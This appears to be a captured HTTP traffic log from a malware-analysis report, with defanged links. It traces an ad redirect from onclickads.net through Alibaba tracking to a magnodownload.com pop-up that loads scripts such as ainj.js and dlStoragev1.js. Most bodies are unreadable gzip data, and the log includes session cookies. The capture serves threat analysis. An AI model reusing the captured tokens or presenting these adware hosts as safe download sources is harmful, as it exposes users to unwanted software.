Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: click.alibaba.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Date: Sat, 13 Jun 2015 00:33:28 GMT

Content-Type: text/html;charset=UTF-8

Content-Length: 0

Connection: keep-alive

Set-Cookie: ali_apache_id=193.138.244.231.1434155608293.716224.2; path=/; domain=.alibaba.com; expires=Wed, 30-Nov-2084 01:01:01 GMT

Server: Apache-Coyote/1.1

Set-Cookie: JSESSIONID=8ldqHRwDVc9nJIMjERGGru7D; Path=/

P3P: CP="CAO PSA OUR"

Set-Cookie: ali_apache_track=""; Domain=.alibaba.com; Expires=Thu, 01-Jul-2083 03:47:35 GMT; Path=/

Set-Cookie: ali_apache_tracktmp=""; Domain=.alibaba.com; Path=/

Set-Cookie: xman_us_f=x_l=0; Domain=.alibaba.com; Expires=Thu, 01-Jul-2083 03:47:35 GMT; Path=/

Set-Cookie: xman_t=EmHlsOvc3ylN F4r JkXlE0VjW8eWN8PtDPEpnpDmEtSFMbCkJTb6v7oNe9Bv1LV; Domain=.alibaba.com; Path=/; HttpOnly

Set-Cookie: acs_usuc_t=acs_rt=065e622978cb4604801167fab6004ed7; Domain=.alibaba.com; Path=/

Set-Cookie: acs_t=PrO2qDo0fkn5bovjQNA5fDwb/rJYAdMFQxa5xJTatrLwlZr5Awv2gsWiv0a0l1tg; Domain=.alibaba.com; Path=/; HttpOnly

Set-Cookie: xman_f=b4hTZFNrgKoy5zRK56QTW65Z7NqkNbkYp4 c4o81HsFIr sNRq5vqACP7gT4tAa7Lzb9gq1vqkWVz2UB WbU01M3tU5bZUXls59Ibyc4uu0nd99LbrkZpw==; Domain=.alibaba.com; Expires=Thu, 01-Jul-2083 03:47:35 GMT; Path=/; HttpOnly

Location: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf

Content-Language: zh-CN
<<< skipped >>>

GET /BesH3gE9/pop-up/ HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Language: en

Content-Type: text/html

Date: Sat, 13 Jun 2015 00:33:24 GMT

Server: nginx

Set-Cookie: lpsl_BesH3gE9=85428d98eda3bc5299dc163e7c082a0d 1434242004; Path=/; Expires=Sun, 14-Jun-15 00:33:24 GMT;Domain=VVV.magnodownload.com

Vary: Accept-Language

Content-Length: 1074

Connection: keep-alive
...........Vmo.6..._...$'.h.q.&9.....l..b....%*.#.*I.q....%..[...a....
...y.2........}.f*M...?....a..?.....o.._..o..4.X.L.*..M.y..Fx.T> d.
\:.......A.4.......".P.xdx....$.......W../...0../B..D. .V9..bO....VV..
.|L.\0...0I..$q..h9s.G..<G..F.l.?A..;..}`.......R..L.h.O)}.x..Y.i..
<%..t....a............H.....v...hR.|..l..#..v.>.z}..|;:d.-.E0RT&
lt;0...dI...=.T...m.~.._.P.......*.X.....I....^......f..x..k.).){...(.
..T....`F..L....{e..wb..Ie......=..#.....x'w.7W..;cA.J.....Jx@...\p...
........^."."^0...z....-..I.....Z7$d.....s...........h....H.....%...\.
.C.Z.SP....q.....E..un.>L....:0....946.K. .,.{...F..m-.i.3.Ex....g.
.8..?.4..T.(..#.f..L}...s.u...u...Lx..u.%.{..".9.0..G.......Q.J.8...e.
...............f.H2.,..X..d@sf-c8...........&....ou..gb..0v.....:.Yo..
[....i:..14M.j.w....#......G............o....{.....Y...#[..q...NY.....
.Q....Q r[...u;-<4Jw`H..D.lL<dP.H..f...\e..yu..&3..mB2.._M.=8.&g
t;A...;..T._N.M%l|y..{.... ..[...V..pC>(..o...%.R/.f......pI../'P..
.>.H..P..r..6.n8...VVTd...V..\;zBWSc.s.. ..w..o_..{..P..e....f ....
.." ...4.B{Rr...C.._"<....S.../,.......^.o/D.P#. (...|......
.


GET /lpresources/js/linkv2.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=85428d98eda3bc5299dc163e7c082a0d 1434242004

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Sat, 13 Jun 2015 00:33:24 GMT

ETag: "280056-d84-4feef24b01140"

Last-Modified: Thu, 24 Jul 2014 11:56:13 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 1358

Connection: keep-alive
...........WYo.8.~..`.ELV.|...q. M.........AIT,D...r....;$E.Ns 0,..|sr
f.Ty$."G.4..L...[&.T........B;.Q^......}..a...?.c.&h6.N..P...\.... 5.S
..9......5.)..R..xQ.1Vb.......V.A........>:[email protected])..:.[....w4....
.Q.e..".\..!)..h.^......;..M......n....P.>....^ zBQ...Y.kq^e...L0..
"...c...R..7Y..Jd..1pc....BO82.......l.r&"Z.....B!y..Z......i...?....9
..5..gED.. .|T.=Qf.....\.V..O..C../x....M..l..z.."W.B.a..rh..,...'.?..
.?.L...c.N......5.A.."...u*..........?\..2W..q.......h..mb`Y.1...k..i.
w.8K.;.3.,e.e......2T..FtS..K......7"..,*e.&.e.W.%v......=.L.....\.'.{
......D9.U...s.-... ..JD..U.0pHqwV..;8Y5A....G.........T/.?~.w..A.aI..
.\i.}P.@k%<.G.7......%u2..0.....3.(.H%.......P?1x:n...=.:...m...v2.
.w.....Go..tj.(-7.K. =Y.4.>.........7.(.w.q ... i..Lt/.....W.....T.
..)..W.."Y...`..%..,...........tW..8.C.A2.,8(...j..../.B...x.S..u..X..
..f..=..U8......vLc. [email protected]' E..A3.....t......-.yhZ)..6.`....o%....
.....'.Y...u...c..&....... .Q.9.....Vm.mW...h..W...C.w............'...
r.(.t).j......L...9.j.Uc...QBa9 ..3gPJ.WJ.]xj..!M.<....U......_....
.K!0...Ea..F...J=..`.6R.a..V..,cj . ..W..h.i........T....T_.l[.....i.u
..VL.u.AE..CR..n...l......y..}...1..5.................O...`'.MW8c...|.
. x...{.t..........}_...^..&...?[..9Y|...g.-..._.....h.G~.....i1...b..
...&.:.j..9.g.]B]..}..K>......{.7.aNqtMWD.6.0g.......0..z...PghuR7.
.}..f.y./.p-.%T.n.......xN.j.[.Q......h}e.........
<<< skipped >>>

GET /lpresources/js/ainj.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=85428d98eda3bc5299dc163e7c082a0d 1434242004

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Sat, 13 Jun 2015 00:33:25 GMT

ETag: "28004c-0-4f9c38966d780"

Last-Modified: Mon, 19 May 2014 16:48:46 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 20

Connection: keep-alive
........................


GET /lpresources/js/dlStoragev1.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=85428d98eda3bc5299dc163e7c082a0d 1434242004

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Sat, 13 Jun 2015 00:33:25 GMT

ETag: "180b8a-1a57-50572ea11d0c0"

Last-Modified: Wed, 15 Oct 2014 09:39:55 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 2010

Connection: keep-alive
...........X[o...~v~...H:q..X,...]d..]t/i.A..b.P.(.F.]..c....!.....p..
.....\...K.Y..P.......b..c.........\3 J..2o-e.*!.....Ur....S>..(..^
....Z ...i..Z...Z.^.(b.}&.....O.$.:.:.....c{D........K.,.....WH.{C..}.
...2 n..Q..~[$p.1..C/<8.....EZ:_..'..@/.#...ud,K.T....J....i|....3=
.....N.!.nY@g....~...~j..i..jj..m.D;l.94.h.$A..9..n.Vp?.X.O..&...."...
....mch....'L..[m...m...XfR......G9(.....BVq....\....G..1....V[.......
......%....H<[email protected]@....[.. .fZ8Ie...Z..%Zdy
[email protected].~-..X?[O.Y.i{.K: L.....D......-......... .k.......r.6..
... v.5X..l.O..F...9..-.O.....5^.L.i..<Ip..O.....~...,...>.2/...
H.R .v..2....R*}:....X.......p2i..b..^.......tW.y...).'....H.......E.)
.Bx].......p.....9.c]...V....w..(. $D..uc..\.&OFv.2.>%.yf..!B.V4.).
..~k..db...Z.......}.....&..^...{cGzV.V...yv:..^....vQ..`[email protected].
.......h*[email protected]{h./.HpF.).T......i.......3u.'...fK..j.OY.
;!3 .N.'Fw1.....7..W..}"..n.ax[,y.%.. .......X%wf. .O...s...'...g7..9'
y.V..y.\O..3...,.-....H.q..........AM..;..L.8B`.3.......X.J.0..m....)1
..b-.w...j.!..oi...f..R'......-U]8.y. 0.*....0J..M...@.&.}............
..IR<...G.J.)I...G.......l.....I.sU....I..}{8...."HQ.....- #.......
...Q.TL.%"^.h=..cX.r.7.{,......o#,.Ho...*.i...A..*...........2..mh{Ws.
3.3.:..N.-...C#WV.[..I.c.J..`...{8....Dw.....x.................../.E_C
l7?....C<....a..Qg.V.p.....\.=.......w?.9.qno..%o....'..z..s(..)...
...p.v...}kw..*a.T.1...5.S.K]*......58....B..O$M.C.`.............a.h.q
...0... jV.....C. IS.].......8_.l..h.....mP.6j....b.1...~.e...DV..
<<< skipped >>>

GET /mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.magnodownload.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.magnodownload.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=85428d98eda3bc5299dc163e7c082a0d 1434242004

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/javascript

Date: Sat, 13 Jun 2015 00:33:25 GMT

ETag: "53a84f60-1762a"

Last-Modified: Mon, 23 Jun 2014 16:01:36 GMT

Server: nginx

Content-Length: 95786

Connection: keep-alive
/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.o
rg/license */.!function(a,b){"object"==typeof module&&"object"==typeof
 module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.do
cument)throw new Error("jQuery requires a window with a document");ret
urn b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){v
ar c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=
h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(
a,b)},n=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,o=/^-ms-/,p=/-([\da-z])/g
i,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,c
onstructor:m,selector:"",length:0,toArray:function(){return d.call(thi
s)},get:function(a){return null!=a?0>a?this[a this.length]:this[a]:
d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a
);return b.prevObject=this,b.context=this.context,b},each:function(a,b
){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map
(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return t
his.pushStack(d.apply(this,arguments))},first:function(){return this.e
q(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.le
ngth,c= a (0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]
:[])},end:function(){return this.prevObject||this.constructor(null)},p
ush:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var
 a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boole
an"==typeof g&&(j=g,g=arguments[h]||{},h  ),"object"==typeof g||m.
<<< skipped >>>